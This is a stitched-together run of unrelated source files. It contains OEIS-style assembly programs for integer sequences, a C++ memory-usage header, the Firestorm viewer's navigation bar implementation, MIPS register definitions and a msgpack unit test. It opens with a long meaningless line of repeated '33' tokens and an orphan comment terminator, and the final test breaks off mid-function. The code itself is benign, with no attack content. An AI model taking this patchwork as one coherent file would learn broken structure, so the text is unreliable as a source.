33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; A261276: 100-gonal numbers: a(n) = 98*n*(n-1)/2 + n.
; 0,1,100,297,592,985,1476,2065,2752,3537,4420,5401,6480,7657,8932,10305,11776,13345,15012,16777,18640,20601,22660,24817,27072,29425,31876,34425,37072,39817,42660,45601,48640,51777,55012,58345,61776,65305,68932,72657,76480
mov $1,$0
mul $1,$0
lpb $0
mov $3,$1
sub $3,$0
mov $0,$2
mul $3,48
add $1,$3
lpe
|
// Copyright (C) 2016 Vicente J. Botet Escriba
//
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#ifndef JASEL_EXAMPLE_FRAMEWORK_STD_UTILITY_HPP
#define JASEL_EXAMPLE_FRAMEWORK_STD_UTILITY_HPP
#if __cplusplus >= 201402L
#include "../mem_usage.hpp"
#include <utility>
namespace std
{
template <typename T, typename U>
constexpr auto mem_usage(const std::pair<T, U>& v) noexcept
-> decltype(experimental::mem_usage(v.first) + experimental::mem_usage(v.second))
{
return experimental::mem_usage(v.first)
+ experimental::mem_usage(v.second)
+ sizeof(v)
- sizeof(v.first)
- sizeof(v.second);
}
}
#endif
#endif
|
/**
* @file llnavigationbar.cpp
* @brief Navigation bar implementation
*
* $LicenseInfo:firstyear=2009&license=viewerlgpl$
* Second Life Viewer Source Code
* Copyright (C) 2010, Linden Research, Inc.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation;
* version 2.1 of the License only.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* Linden Research, Inc., 945 Battery Street, San Francisco, CA 94111 USA
* $/LicenseInfo$
*/
#include "llviewerprecompiledheaders.h"
#include "llnavigationbar.h"
#include "v2math.h"
#include "llregionhandle.h"
#include "llfloaterreg.h"
#include "llfocusmgr.h"
#include "lliconctrl.h"
#include "llmenugl.h"
#include "llagent.h"
#include "llviewerregion.h"
#include "lllandmarkactions.h"
#include "lllocationhistory.h"
#include "lllocationinputctrl.h"
#include "llpaneltopinfobar.h"
#include "llteleporthistory.h"
#include "llsearchcombobox.h"
#include "llslurl.h"
#include "llurlregistry.h"
#include "llurldispatcher.h"
#include "llviewerinventory.h"
#include "llviewermenu.h"
#include "llviewernetwork.h" // <FS:AW hypergrid support >
#include "llviewerparcelmgr.h"
#include "llworldmapmessage.h"
#include "llappviewer.h"
#include "llviewercontrol.h"
#include "llweb.h"
#include "llhints.h"
#include "llinventorymodel.h"
#include "lllandmarkactions.h"
#include "llfavoritesbar.h"
#include "llagentui.h"
#include <boost/regex.hpp>
#include "llstatusbar.h"
#include "llnotificationsutil.h"// <FS:AW hypergrid support >
#include "lluictrl.h" // <FS:Zi> Make navigation bar part of the UI
//-- LLTeleportHistoryMenuItem -----------------------------------------------
/**
* Item look varies depending on the type (backward/current/forward).
*/
class LLTeleportHistoryMenuItem : public LLMenuItemCallGL
{
public:
typedef enum e_item_type
{
TYPE_BACKWARD,
TYPE_CURRENT,
TYPE_FORWARD,
} EType;
struct Params : public LLInitParam::Block<Params, LLMenuItemCallGL::Params>
{
Mandatory<EType> item_type;
Optional<const LLFontGL*> back_item_font,
current_item_font,
forward_item_font;
Optional<std::string> back_item_image,
forward_item_image;
Optional<S32> image_hpad,
image_vpad;
Params()
: item_type(),
back_item_font("back_item_font"),
current_item_font("current_item_font"),
forward_item_font("forward_item_font"),
back_item_image("back_item_image"),
forward_item_image("forward_item_image"),
image_hpad("image_hpad"),
image_vpad("image_vpad")
{}
};
/*virtual*/ void draw();
/*virtual*/ void onMouseEnter(S32 x, S32 y, MASK mask);
/*virtual*/ void onMouseLeave(S32 x, S32 y, MASK mask);
private:
LLTeleportHistoryMenuItem(const Params&);
friend class LLUICtrlFactory;
static const S32 ICON_WIDTH = 16;
static const S32 ICON_HEIGHT = 16;
LLIconCtrl* mArrowIcon;
};
static LLDefaultChildRegistry::Register<LLTeleportHistoryMenuItem> r("teleport_history_menu_item");
LLTeleportHistoryMenuItem::LLTeleportHistoryMenuItem(const Params& p)
: LLMenuItemCallGL(p),
mArrowIcon(NULL)
{
// Set appearance depending on the item type.
if (p.item_type == TYPE_BACKWARD)
{
setFont( p.back_item_font );
}
else if (p.item_type == TYPE_CURRENT)
{
setFont( p.current_item_font );
}
else
{
setFont( p.forward_item_font );
}
LLIconCtrl::Params icon_params;
icon_params.name("icon");
LLRect rect(0, ICON_HEIGHT, ICON_WIDTH, 0);
rect.translate( p.image_hpad, p.image_vpad );
icon_params.rect( rect );
icon_params.mouse_opaque(false);
icon_params.follows.flags(FOLLOWS_LEFT | FOLLOWS_TOP);
icon_params.visible(false);
mArrowIcon = LLUICtrlFactory::create<LLIconCtrl> (icon_params);
// no image for the current item
if (p.item_type == TYPE_BACKWARD)
mArrowIcon->setValue( p.back_item_image() );
else if (p.item_type == TYPE_FORWARD)
mArrowIcon->setValue( p.forward_item_image() );
addChild(mArrowIcon);
}
void LLTeleportHistoryMenuItem::draw()
{
// Draw menu item itself.
LLMenuItemCallGL::draw();
// Draw children if any. *TODO: move this to LLMenuItemGL?
LLUICtrl::draw();
}
void LLTeleportHistoryMenuItem::onMouseEnter(S32 x, S32 y, MASK mask)
{
mArrowIcon->setVisible(TRUE);
}
void LLTeleportHistoryMenuItem::onMouseLeave(S32 x, S32 y, MASK mask)
{
mArrowIcon->setVisible(FALSE);
}
static LLDefaultChildRegistry::Register<LLPullButton> menu_button("pull_button");
LLPullButton::LLPullButton(const LLPullButton::Params& params) :
LLButton(params)
{
setDirectionFromName(params.direction);
}
boost::signals2::connection LLPullButton::setClickDraggingCallback(const commit_signal_t::slot_type& cb)
{
return mClickDraggingSignal.connect(cb);
}
/*virtual*/
void LLPullButton::onMouseLeave(S32 x, S32 y, MASK mask)
{
LLButton::onMouseLeave(x, y, mask);
if (mMouseDownTimer.getStarted()) //an user have done a mouse down, if the timer started. see LLButton::handleMouseDown for details
{
const LLVector2 cursor_direction = LLVector2(F32(x), F32(y)) - mLastMouseDown;
/* For now cursor_direction points to the direction of mouse movement
* Need to decide whether should we fire a signal.
* We fire if angle between mDraggingDirection and cursor_direction is less that 45 degree
* Note:
* 0.5 * F_PI_BY_TWO equals to PI/4 radian that equals to angle of 45 degrees
*/
if (angle_between(mDraggingDirection, cursor_direction) < 0.5 * F_PI_BY_TWO)//call if angle < pi/4
{
mClickDraggingSignal(this, LLSD());
}
}
}
/*virtual*/
BOOL LLPullButton::handleMouseDown(S32 x, S32 y, MASK mask)
{
BOOL handled = LLButton::handleMouseDown(x, y, mask);
if (handled)
{
//if mouse down was handled by button,
//capture mouse position to calculate the direction of mouse move after mouseLeave event
mLastMouseDown.set(F32(x), F32(y));
}
return handled;
}
/*virtual*/
BOOL LLPullButton::handleMouseUp(S32 x, S32 y, MASK mask)
{
// reset data to get ready for next circle
mLastMouseDown.clear();
return LLButton::handleMouseUp(x, y, mask);
}
/**
* this function is setting up dragging direction vector.
* Last one is just unit vector. It points to direction of mouse drag that we need to handle
*/
void LLPullButton::setDirectionFromName(const std::string& name)
{
if (name == "left")
{
mDraggingDirection.set(F32(-1), F32(0));
}
else if (name == "right")
{
mDraggingDirection.set(F32(0), F32(1));
}
else if (name == "down")
{
mDraggingDirection.set(F32(0), F32(-1));
}
else if (name == "up")
{
mDraggingDirection.set(F32(0), F32(1));
}
}
//-- LNavigationBar ----------------------------------------------------------
/*
TODO:
- Load navbar height from saved settings (as it's done for status bar) or think of a better way.
*/
LLNavigationBar::LLNavigationBar()
: mTeleportHistoryMenu(NULL),
mBtnBack(NULL),
mBtnForward(NULL),
mBtnHome(NULL),
mCmbLocation(NULL),
mSearchComboBox(NULL),
mSaveToLocationHistory(false)
{
// buildFromFile( "panel_navigation_bar.xml"); // <FS:Zi> Make navigation bar part of the UI
// set a listener function for LoginComplete event
LLAppViewer::instance()->setOnLoginCompletedCallback(boost::bind(&LLNavigationBar::handleLoginComplete, this));
setupPanel(); // <FS:Zi> Make navigation bar part of the UI
}
LLNavigationBar::~LLNavigationBar()
{
mTeleportFinishConnection.disconnect();
mTeleportFailedConnection.disconnect();
}
// <FS:Zi> Make navigation bar part of the UI
// BOOL LLNavigationBar::postBuild()
void LLNavigationBar::setupPanel()
// </FS:Zi>
{
// <FS:Zi> Make navigation bar part of the UI
// mBtnBack = getChild<LLPullButton>("back_btn");
// mBtnForward = getChild<LLPullButton>("forward_btn");
// mBtnHome = getChild<LLButton>("home_btn");
// mCmbLocation= getChild<LLLocationInputCtrl>("location_combo");
// mSearchComboBox = getChild<LLSearchComboBox>("search_combo_box");
mView=LLUI::getRootView()->getChild<LLView>("navigation_bar");
mBtnBack = mView->getChild<LLPullButton>("back_btn");
mBtnForward = mView->getChild<LLPullButton>("forward_btn");
mBtnHome = mView->getChild<LLButton>("home_btn");
mCmbLocation= mView->getChild<LLLocationInputCtrl>("location_combo");
mSearchComboBox = mView->getChild<LLSearchComboBox>("search_combo_box");
mView->getChild<LLUICtrl>("navigation_bar_context_menu_panel")->
setRightMouseDownCallback(boost::bind(&LLNavigationBar::onRightMouseDown, this, _2, _3, _4));
mView->getChild<LLButton>("Sky")->setCommitCallback(boost::bind(&LLNavigationBar::onClickedSkyBtn, this)); // <FS:CR> FIRE-11847
// </FS:Zi>
fillSearchComboBox();
mBtnBack->setEnabled(FALSE);
// [FS:CR] FIRE-12333
//mBtnBack->setClickedCallback(boost::bind(&LLNavigationBar::onBackButtonClicked, this));
mBtnBack->setClickedCallback(boost::bind(&LLNavigationBar::onBackButtonClicked, this, _1));
mBtnBack->setHeldDownCallback(boost::bind(&LLNavigationBar::onBackOrForwardButtonHeldDown, this,_1, _2));
mBtnBack->setClickDraggingCallback(boost::bind(&LLNavigationBar::showTeleportHistoryMenu, this,_1));
mBtnForward->setEnabled(FALSE);
// [FS:CR] FIRE-12333
//mBtnForward->setClickedCallback(boost::bind(&LLNavigationBar::onForwardButtonClicked, this));
mBtnForward->setClickedCallback(boost::bind(&LLNavigationBar::onForwardButtonClicked, this, _1));
mBtnForward->setHeldDownCallback(boost::bind(&LLNavigationBar::onBackOrForwardButtonHeldDown, this, _1, _2));
mBtnForward->setClickDraggingCallback(boost::bind(&LLNavigationBar::showTeleportHistoryMenu, this,_1));
// [FS:CR] FIRE-12333
//mBtnHome->setClickedCallback(boost::bind(&LLNavigationBar::onHomeButtonClicked, this));
mBtnHome->setClickedCallback(boost::bind(&LLNavigationBar::onHomeButtonClicked, this, _1));
mCmbLocation->setCommitCallback(boost::bind(&LLNavigationBar::onLocationSelection, this));
mSearchComboBox->setCommitCallback(boost::bind(&LLNavigationBar::onSearchCommit, this));
mTeleportFinishConnection = LLViewerParcelMgr::getInstance()->
setTeleportFinishedCallback(boost::bind(&LLNavigationBar::onTeleportFinished, this, _1));
mTeleportFailedConnection = LLViewerParcelMgr::getInstance()->
setTeleportFailedCallback(boost::bind(&LLNavigationBar::onTeleportFailed, this));
// <FS:Zi> No size calculations in code please. XUI handles it all now with visibility_control
//mDefaultNbRect = getRect();
//mDefaultFpRect = getChild<LLFavoritesBarCtrl>("favorite")->getRect();
// </FS:Zi>
// we'll be notified on teleport history changes
LLTeleportHistory::getInstance()->setHistoryChangedCallback(
boost::bind(&LLNavigationBar::onTeleportHistoryChanged, this));
// <FS:Zi> Make navigation bar part of the UI
// LLHints::registerHintTarget("nav_bar", getHandle());
// return TRUE;
LLHints::registerHintTarget("nav_bar",mView->getHandle());
// </FS:Zi>
}
// <FS:Zi> No size calculations in code please. XUI handles it all now with visibility_control
// void LLNavigationBar::setVisible(BOOL visible)
// {
// // change visibility of grandparent layout_panel to animate in and out
// if (getParent())
// {
// //to avoid some mysterious bugs like EXT-3352, at least try to log an incorrect parent to ping about a problem.
// if(getParent()->getName() != "nav_bar_container")
// {
// LL_WARNS("LLNavigationBar")<<"NavigationBar has an unknown name of the parent: "<<getParent()->getName()<< LL_ENDL;
// }
// getParent()->setVisible(visible);
// }
// }
// </FS:Zi>
void LLNavigationBar::fillSearchComboBox()
{
if(!mSearchComboBox)
{
return;
}
LLSearchHistory::getInstance()->load();
LLSearchHistory::search_history_list_t search_list =
LLSearchHistory::getInstance()->getSearchHistoryList();
LLSearchHistory::search_history_list_t::const_iterator it = search_list.begin();
for( ; search_list.end() != it; ++it)
{
LLSearchHistory::LLSearchHistoryItem item = *it;
mSearchComboBox->add(item.search_query);
}
}
// <FS:Zi> Make navigation bar part of the UI
// void LLNavigationBar::draw()
// {
// if (isBackgroundVisible())
// {
// static LLUICachedControl<S32> drop_shadow_floater ("DropShadowFloater", 0);
// static LLUIColor color_drop_shadow = LLUIColorTable::instance().getColor("ColorDropShadow");
// gl_drop_shadow(0, getRect().getHeight(), getRect().getWidth(), 0,
// color_drop_shadow, drop_shadow_floater );
// }
//
// LLPanel::draw();
// }
// BOOL LLNavigationBar::handleRightMouseDown(S32 x, S32 y, MASK mask)
// {
// BOOL handled = childrenHandleRightMouseDown( x, y, mask) != NULL;
// if(!handled && !gMenuHolder->hasVisibleMenu())
// {
// show_navbar_context_menu(this,x,y);
// handled = true;
// }
//
// return handled;
// }
// </FS:Zi>
// [FS:CR] FIRE-12333
//void LLNavigationBar::onBackButtonClicked()
void LLNavigationBar::onBackButtonClicked(LLUICtrl* ctrl)
{
LLTeleportHistory::getInstance()->goBack();
gFocusMgr.releaseFocusIfNeeded(ctrl); // [FS:CR] FIRE-12333
}
void LLNavigationBar::onBackOrForwardButtonHeldDown(LLUICtrl* ctrl, const LLSD& param)
{
if (param["count"].asInteger() == 0)
showTeleportHistoryMenu(ctrl);
}
// [FS:CR] FIRE-12333
//void LLNavigationBar::onForwardButtonClicked()
void LLNavigationBar::onForwardButtonClicked(LLUICtrl* ctrl)
{
LLTeleportHistory::getInstance()->goForward();
gFocusMgr.releaseFocusIfNeeded(ctrl); // [FS:CR] FIRE-12333
}
// [FS:CR] FIRE-12333
//void LLNavigationBar::onHomeButtonClicked()
void LLNavigationBar::onHomeButtonClicked(LLUICtrl* ctrl)
{
gAgent.teleportHome();
gFocusMgr.releaseFocusIfNeeded(ctrl); // [FS:CR] FIRE-12333
}
void LLNavigationBar::onSearchCommit()
{
std::string search_query = mSearchComboBox->getSimple();
if(!search_query.empty())
{
LLSearchHistory::getInstance()->addEntry(search_query);
}
invokeSearch(search_query);
}
void LLNavigationBar::onTeleportHistoryMenuItemClicked(const LLSD& userdata)
{
int idx = userdata.asInteger();
LLTeleportHistory::getInstance()->goToItem(idx);
}
// This is called when user presses enter in the location input
// or selects a location from the typed locations dropdown.
void LLNavigationBar::onLocationSelection()
{
std::string typed_location = mCmbLocation->getSimple();
LLStringUtil::trim(typed_location);
// Will not teleport to empty location.
if (typed_location.empty())
return;
//get selected item from combobox item
LLSD value = mCmbLocation->getSelectedValue();
if(value.isUndefined() && !mCmbLocation->getTextEntry()->isDirty())
{
// At this point we know that: there is no selected item in list and text field has NOT been changed
// So there is no sense to try to change the location
return;
}
/* since navbar list support autocompletion it contains several types of item: landmark, teleport hystory item,
* typed by user slurl or region name. Let's find out which type of item the user has selected
* to make decision about adding this location into typed history. see mSaveToLocationHistory
* Note:
* Only TYPED_REGION_SLURL item will be added into LLLocationHistory
*/
if(value.has("item_type"))
{
switch(value["item_type"].asInteger())
{
case LANDMARK:
if(value.has("AssetUUID"))
{
gAgent.teleportViaLandmark( LLUUID(value["AssetUUID"].asString()));
return;
}
else
{
LLInventoryModel::item_array_t landmark_items =
LLLandmarkActions::fetchLandmarksByName(typed_location,
FALSE);
if (!landmark_items.empty())
{
gAgent.teleportViaLandmark( landmark_items[0]->getAssetUUID());
return;
}
}
break;
case TELEPORT_HISTORY:
//in case of teleport item was selected, teleport by position too.
case TYPED_REGION_SLURL:
if(value.has("global_pos"))
{
gAgent.teleportViaLocation(LLVector3d(value["global_pos"]));
return;
}
break;
default:
break;
}
}
//Let's parse slurl or region name
std::string region_name;
LLVector3 local_coords(128, 128, 0);
// Is the typed location a SLURL?
LLSLURL slurl = LLSLURL(typed_location);
if (slurl.getType() == LLSLURL::LOCATION)
{
LL_DEBUGS( "SLURL") << "LLSLURL::LOCATION" << LL_ENDL;// <FS:AW hypergrid support >
region_name = slurl.getRegion();
local_coords = slurl.getPosition();
}
else if(!slurl.isValid())
{
LL_DEBUGS( "SLURL") << "!slurl.isValid()" << LL_ENDL;// <FS:AW hypergrid support >
// we have to do this check after previous, because LLUrlRegistry contains handlers for slurl too
// but we need to know whether typed_location is a simple http url.
if (LLUrlRegistry::instance().isUrl(typed_location))
{
LL_DEBUGS( "SLURL") << "isUrl" << LL_ENDL;// <FS:AW hypergrid support >
// display http:// URLs in the media browser, or
// anything else is sent to the search floater
LLWeb::loadURL(typed_location);
return;
}
else
{
LL_DEBUGS( "SLURL") << "assume user has typed region name" << LL_ENDL;// <FS:AW hypergrid support >
// assume that an user has typed the {region name} or possible {region_name, parcel}
region_name = typed_location.substr(0,typed_location.find(','));
}
}
else
{
LL_DEBUGS( "SLURL") << "was an app slurl, home, whatever. Bail" << LL_ENDL;// <FS:AW hypergrid support >
// was an app slurl, home, whatever. Bail
return;
}
#ifdef OPENSIM // <FS:AW optional opensim support>
// <FS:AW hypergrid support >
std::string grid = slurl.getGrid();
std::string current_grid = LLGridManager::getInstance()->getGrid();
std::string gatekeeper = LLGridManager::getInstance()->getGatekeeper(grid);
std::string current = LLGridManager::getInstance()->getGrid();
if((grid != current )
&& (!LLGridManager::getInstance()->isInOpenSim()
|| (!slurl.getHypergrid() && gatekeeper.empty() )
)
)
{
std::string dest = slurl.getSLURLString();
if (!dest.empty())
{
LLSD args;
args["SLURL"] = dest;
args["GRID"] = slurl.getGrid();
args["CURRENT_GRID"] = current_grid;
LLNotificationsUtil::add("CantTeleportToGrid", args);
return;
}
}
else if(!gatekeeper.empty())
{
region_name = gatekeeper + ":" + region_name;
}
// </FS:AW hypergrid support >
#endif // OPENSIM // <FS:AW optional opensim support>
// Resolve the region name to its global coordinates.
// If resolution succeeds we'll teleport.
LLWorldMapMessage::url_callback_t cb = boost::bind(
&LLNavigationBar::onRegionNameResponse, this,
typed_location, region_name, local_coords, _1, _2, _3, _4);
mSaveToLocationHistory = true;
LLWorldMapMessage::getInstance()->sendNamedRegionRequest(region_name, cb, std::string("unused"), false);
}
void LLNavigationBar::onTeleportFailed()
{
mSaveToLocationHistory = false;
}
void LLNavigationBar::onTeleportFinished(const LLVector3d& global_agent_pos)
{
if (!mSaveToLocationHistory)
return;
LLLocationHistory* lh = LLLocationHistory::getInstance();
//TODO*: do we need convert slurl into readable format?
std::string location;
/*NOTE:
* We can't use gAgent.getPositionAgent() in case of local teleport to build location.
* At this moment gAgent.getPositionAgent() contains previous coordinates.
* according to EXT-65 agent position is being reseted on each frame.
*/
LLAgentUI::buildLocationString(location, LLAgentUI::LOCATION_FORMAT_NO_MATURITY,
gAgent.getPosAgentFromGlobal(global_agent_pos));
std::string tooltip (LLSLURL(gAgent.getRegion()->getName(), global_agent_pos).getSLURLString());
LLLocationHistoryItem item (location,
global_agent_pos, tooltip,TYPED_REGION_SLURL);// we can add into history only TYPED location
//Touch it, if it is at list already, add new location otherwise
if ( !lh->touchItem(item) ) {
lh->addItem(item);
}
lh->save();
mSaveToLocationHistory = false;
}
void LLNavigationBar::onTeleportHistoryChanged()
{
// Update navigation controls.
LLTeleportHistory* h = LLTeleportHistory::getInstance();
int cur_item = h->getCurrentItemIndex();
mBtnBack->setEnabled(cur_item > 0);
mBtnForward->setEnabled(cur_item < ((int)h->getItems().size() - 1));
}
void LLNavigationBar::rebuildTeleportHistoryMenu()
{
// Has the pop-up menu been built?
if (mTeleportHistoryMenu)
{
// Clear it.
mTeleportHistoryMenu->empty();
}
else
{
// Create it.
LLMenuGL::Params menu_p;
menu_p.name("popup");
menu_p.can_tear_off(false);
menu_p.visible(false);
menu_p.bg_visible(true);
menu_p.scrollable(true);
mTeleportHistoryMenu = LLUICtrlFactory::create<LLMenuGL>(menu_p);
// <FS:Zi> Make navigation bar part of the UI
// addChild(mTeleportHistoryMenu);
mView->addChild(mTeleportHistoryMenu);
// </FS:Zi>
}
// Populate the menu with teleport history items.
LLTeleportHistory* hist = LLTeleportHistory::getInstance();
const LLTeleportHistory::slurl_list_t& hist_items = hist->getItems();
int cur_item = hist->getCurrentItemIndex();
// Items will be shown in the reverse order, just like in Firefox.
for (int i = (int)hist_items.size()-1; i >= 0; i--)
{
LLTeleportHistoryMenuItem::EType type;
if (i < cur_item)
type = LLTeleportHistoryMenuItem::TYPE_BACKWARD;
else if (i > cur_item)
type = LLTeleportHistoryMenuItem::TYPE_FORWARD;
else
type = LLTeleportHistoryMenuItem::TYPE_CURRENT;
LLTeleportHistoryMenuItem::Params item_params;
item_params.label = item_params.name = hist_items[i].mTitle;
item_params.item_type = type;
item_params.on_click.function(boost::bind(&LLNavigationBar::onTeleportHistoryMenuItemClicked, this, i));
LLTeleportHistoryMenuItem* new_itemp = LLUICtrlFactory::create<LLTeleportHistoryMenuItem>(item_params);
//new_itemp->setFont()
mTeleportHistoryMenu->addChild(new_itemp);
}
}
void LLNavigationBar::onRegionNameResponse(
std::string typed_location,
std::string region_name,
LLVector3 local_coords,
U64 region_handle, const std::string& url, const LLUUID& snapshot_id, bool teleport)
{
// Invalid location?
if (region_handle)
{
// Teleport to the location.
LLVector3d region_pos = from_region_handle(region_handle);
LLVector3d global_pos = region_pos + (LLVector3d) local_coords;
LL_INFOS() << "Teleporting to: " << LLSLURL(region_name, global_pos).getSLURLString() << LL_ENDL;
gAgent.teleportViaLocation(global_pos);
}
else if (gSavedSettings.getBOOL("SearchFromAddressBar"))
{
invokeSearch(typed_location);
}
}
void LLNavigationBar::showTeleportHistoryMenu(LLUICtrl* btn_ctrl)
{
// Don't show the popup if teleport history is empty.
if (LLTeleportHistory::getInstance()->isEmpty())
{
LL_DEBUGS() << "Teleport history is empty, will not show the menu." << LL_ENDL;
return;
}
rebuildTeleportHistoryMenu();
if (mTeleportHistoryMenu == NULL)
return;
mTeleportHistoryMenu->updateParent(LLMenuGL::sMenuContainer);
const S32 MENU_SPAWN_PAD = -1;
LLMenuGL::showPopup(btn_ctrl, mTeleportHistoryMenu, 0, MENU_SPAWN_PAD);
LLButton* nav_button = dynamic_cast<LLButton*>(btn_ctrl);
if(nav_button)
{
if(mHistoryMenuConnection.connected())
{
LL_WARNS("Navgationbar")<<"mHistoryMenuConnection should be disconnected at this moment."<<LL_ENDL;
mHistoryMenuConnection.disconnect();
}
mHistoryMenuConnection = gMenuHolder->setMouseUpCallback(boost::bind(&LLNavigationBar::onNavigationButtonHeldUp, this, nav_button));
// pressed state will be update after mouseUp in onBackOrForwardButtonHeldUp();
nav_button->setForcePressedState(true);
}
// *HACK pass the mouse capturing to the drop-down menu
// it need to let menu handle mouseup event
gFocusMgr.setMouseCapture(gMenuHolder);
}
/**
* Taking into account the HACK above, this callback-function is responsible for correct handling of mouseUp event in case of holding-down the navigation buttons..
* We need to process this case separately to update a pressed state of navigation button.
*/
void LLNavigationBar::onNavigationButtonHeldUp(LLButton* nav_button)
{
if(nav_button)
{
nav_button->setForcePressedState(false);
}
if(gFocusMgr.getMouseCapture() == gMenuHolder)
{
// we had passed mouseCapture in showTeleportHistoryMenu()
// now we MUST release mouseCapture to continue a proper mouseevent workflow.
gFocusMgr.setMouseCapture(NULL);
}
//gMenuHolder is using to display bunch of menus. Disconnect signal to avoid unnecessary calls.
mHistoryMenuConnection.disconnect();
}
void LLNavigationBar::handleLoginComplete()
{
LLTeleportHistory::getInstance()->handleLoginComplete();
LLPanelTopInfoBar::instance().handleLoginComplete();
gStatusBar->handleLoginComplete();
mCmbLocation->handleLoginComplete();
}
void LLNavigationBar::invokeSearch(std::string search_text)
{
LLFloaterReg::showInstance("search", LLSD().with("category", "all").with("query", LLSD(search_text)));
}
void LLNavigationBar::clearHistoryCache()
{
mCmbLocation->removeall();
LLLocationHistory* lh = LLLocationHistory::getInstance();
lh->removeItems();
lh->save();
LLTeleportHistory::getInstance()->purgeItems();
}
// <FS:Zi> No size calculations in code please. XUI handles it all now with visibility_control
// int LLNavigationBar::getDefNavBarHeight()
// {
// return mDefaultNbRect.getHeight();
// }
// int LLNavigationBar::getDefFavBarHeight()
// {
// return mDefaultFpRect.getHeight();
// }
// </FS:Zi>
// <FS:Zi> Make navigation bar part of the UI
void LLNavigationBar::clearHistory()
{
mSearchComboBox->clearHistory();
}
LLView* LLNavigationBar::getView()
{
return mView;
}
void LLNavigationBar::onRightMouseDown(S32 x,S32 y,MASK mask)
{
// call LLViewerMenu function
show_navbar_context_menu(mView,x,y);
}
// </FS:Zi>
// <FS:CR> FIRE-11847
void LLNavigationBar::onClickedSkyBtn()
{
LLFloaterReg::showInstance("env_edit_sky", "edit");
}
// </FS:CR> FIRE-11847
|
; A095140: Triangle formed by reading Pascal's triangle (A007318) mod 5.
; 1,1,1,1,2,1,1,3,3,1,1,4,1,4,1,1,0,0,0,0,1,1,1,0,0,0,1,1,1,2,1,0,0,1,2,1,1,3,3,1,0,1,3,3,1,1,4,1,4,1,1,4,1,4,1,1,0,0,0,0,2,0,0,0,0,1,1,1,0,0,0,2,2,0,0,0,1,1,1,2,1,0,0,2,4,2,0,0,1,2,1,1,3,3,1,0,2,1,1,2
seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n.
mod $0,5
|
; A250103: Expansion of (1+x)/(1+x-2*x^2-3*x^3).
; Submitted by Jon Maiga
; 1,0,2,1,3,5,4,15,8,34,27,65,91,120,257,256,618,665,1339,1845,2828,4879,6312,11930,15331,27465,38987,61936,98433,142400,240274,339825,567923,832549,1322772,2046095,3097096,4963410,7369067,11849041,17779323,28025960,43079809,66310080,103927418
add $0,1
lpb $0
sub $0,1
sub $2,$1
mov $1,$2
add $4,1
add $1,$4
mov $2,$4
mul $2,2
sub $4,$2
add $4,$3
add $3,$1
lpe
add $0,$2
div $0,2
|
#define INCLUDED_STANDARD_REGISTER_HEADER
#define at $1 ;idrk what but used for the assembler
#define v0 $2 ;Used for expression evaluations and to hold the integer type function results. Also used to pass the static link when calling nested procedures.
#define v1 $3
#define a0 $4 ;Used to pass the first 4 words of integer type actual arguments, their values are not preserved across procedure calls.
#define a1 $5
#define a2 $6
#define a3 $7
#define t0 $8 ;Temporary registers used for expression evaluations; their values aren’t preserved across procedure calls.
#define t1 $9
#define t2 $10
#define t3 $11
#define t4 $12
#define t5 $13
#define t6 $14
#define t7 $15
#define s0 $16 ;Saved registers. Their values must be preserved across procedure calls.
#define s1 $17
#define s2 $18
#define s3 $19
#define s4 $20
#define s5 $21
#define s6 $22
#define s7 $23
#define t8 $24 ;Temporary registers used for expression evaluations; their values aren’t preserved across procedure calls.
#define t9 $25
#define k0 $26 ;Reserved for the operating system kernel. used for interrupts.
#define kt0 $26
#define k1 $27
#define kt1 $27
#define gp $28 ;Contains the global pointer.
#define sp $29 ;Contains the stack pointer.
#define fp $30 ;Contains the frame pointer (if needed); otherwise a saved register (like s0-s7).
#define ra $31 ;Contains the return address and is used for expression evaluation. |
; A175167: a(n) = Sum_{j=1..floor(n/2)} binomial(n+j-1,j-1).
; 0,1,1,6,7,36,45,220,286,1365,1820,8568,11628,54264,74613,346104,480700,2220075,3108105,14307150,20160075,92561040,131128140,600805296,854992152,3910797436,5586853480,25518731280,36576848168,166871334960,239877544005,1093260079344,1575580702584,7174519270695,10363194502115,47153358767970,68248282427325,310325523515700,449972009097765,2044802197953900,2969831763694950
mov $3,$0
add $3,$0
mov $1,$3
add $1,1
mov $2,$0
div $2,2
sub $1,$2
mov $4,$0
add $4,2
bin $1,$4
|
#include <msgpack.hpp>
#if defined(__GNUC__)
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wconversion"
#endif //defined(__GNUC__)
#include <gtest/gtest.h>
#if defined(__GNUC__)
#pragma GCC diagnostic pop
#endif //defined(__GNUC__)
TEST(msgpack_tuple, member_get)
{
msgpack::type::tuple<int, bool, std::string> t1(42, true, "ABC");
EXPECT_EQ(42, t1.get<0>());
EXPECT_EQ(true, t1.get<1>());
EXPECT_EQ("ABC", t1.get<2>());
t1.get<0>() = 40;
t1.get<1>() = false;
t1.get<2>() = "DEFG";
